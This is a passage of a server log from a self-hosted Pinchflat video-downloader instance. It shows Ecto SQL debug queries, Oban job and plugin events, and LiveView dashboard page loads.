"Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:11:19.057 [debug] QUERY OK source="media_items" db=1.7ms idle=199.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:11:19.057 [debug] QUERY OK source="tasks" db=0.0ms idle=201.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [686, 3, ~U[2026-07-24 15:11:19Z], ~U[2026-07-24 15:11:19Z]] 15:11:19.058 [info] {"args":{"id":3},"id":683,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":202608,"event":"job:stop","queue_time":608011,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:11:19.058 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:11:27.001 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:57.002 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.656 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:27.003 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:57.004 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.657 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:27.005 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:57.006 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.658 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:27.007 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:57.008 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.659 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:27.009 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:57.010 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.661 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:27.011 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:57.012 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.663 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:27.013 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:57.014 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.664 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:27.015 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:57.016 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.665 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:27.017 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:57.018 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.666 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:19.079 [info] GET / 15:20:19.079 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:20:19.079 [debug] QUERY OK source="settings" db=0.1ms idle=1140.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:19.079 [debug] QUERY OK source="media_profiles" db=0.0ms idle=678.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:20:19.079 [debug] QUERY OK source="sources" db=0.0ms idle=140.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:20:19.085 [debug] QUERY OK source="media_items" db=5.7ms idle=140.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:19.086 [debug] QUERY OK source="media_items" db=0.5ms idle=146.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:19.086 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:19.086 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:19.086 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:19.087 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:19.088 [debug] QUERY OK source="media_items" db=1.3ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:19.088 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:20:19.094 [debug] QUERY OK source="media_items" db=5.7ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:20:19.098 [debug] QUERY OK source="media_items" db=3.8ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:19.099 [debug] QUERY OK source="tasks" db=0.1ms idle=12.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:20:19.099 [info] Sent 200 in 20ms 15:20:20.722 [info] GET / 15:20:20.722 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:20:20.723 [debug] QUERY OK source="settings" db=0.1ms idle=1627.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:20.723 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1624.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:20:20.723 [debug] QUERY OK source="sources" db=0.0ms idle=1623.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:20:20.725 [debug] QUERY OK source="media_items" db=2.1ms idle=1321.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:20.726 [debug] QUERY OK source="media_items" db=0.3ms idle=322.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:20.726 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:20.726 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:20.726 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:20.727 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:20.730 [debug] QUERY OK source="media_items" db=2.6ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:20.730 [debug] QUERY OK source="sources" db=0.0ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:20:20.733 [debug] QUERY OK source="media_items" db=1.5ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:20:20.734 [debug] QUERY OK source="media_items" db=1.7ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:20.735 [debug] QUERY OK source="tasks" db=0.0ms idle=7.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:20:20.735 [info] Sent 200 in 13ms 15:20:20.855 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FRYAGAt9JSMaUzgQACcnKDY_Ez1bLgcuFXYIcJOHo9lb0JJpCRfijT2H", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:20:20.861 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "SNYQh7jkujTr0mmXumuT1z5f", "media_state" => "downloaded"} 15:20:20.861 [debug] QUERY OK source="media_items" db=0.2ms idle=130.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:20:20.862 [debug] QUERY OK source="media_items" db=0.4ms idle=130.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:20.862 [debug] QUERY OK source="sources" db=0.0ms idle=129.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:20:20.862 [debug] Replied in 1ms 15:20:20.863 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "SNYQh7jkujTr0mmXumuT1z5f", "media_state" => "pending"} 15:20:20.864 [debug] QUERY OK source="media_items" db=1.3ms idle=128.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:20:20.866 [debug] QUERY OK source="media_items" db=1.4ms idle=129.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:20:20.866 [debug] Replied in 3ms 15:20:20.866 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "SNYQh7jkujTr0mmXumuT1z5f"} 15:20:20.866 [debug] QUERY OK source="tasks" db=0.0ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:20:20.866 [debug] Replied in 241µs 15:20:27.019 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:50.441 [info] {"args":{"id":2},"id":684,"meta":{},"system_time":1784906450441601453,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:20:50.443 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms 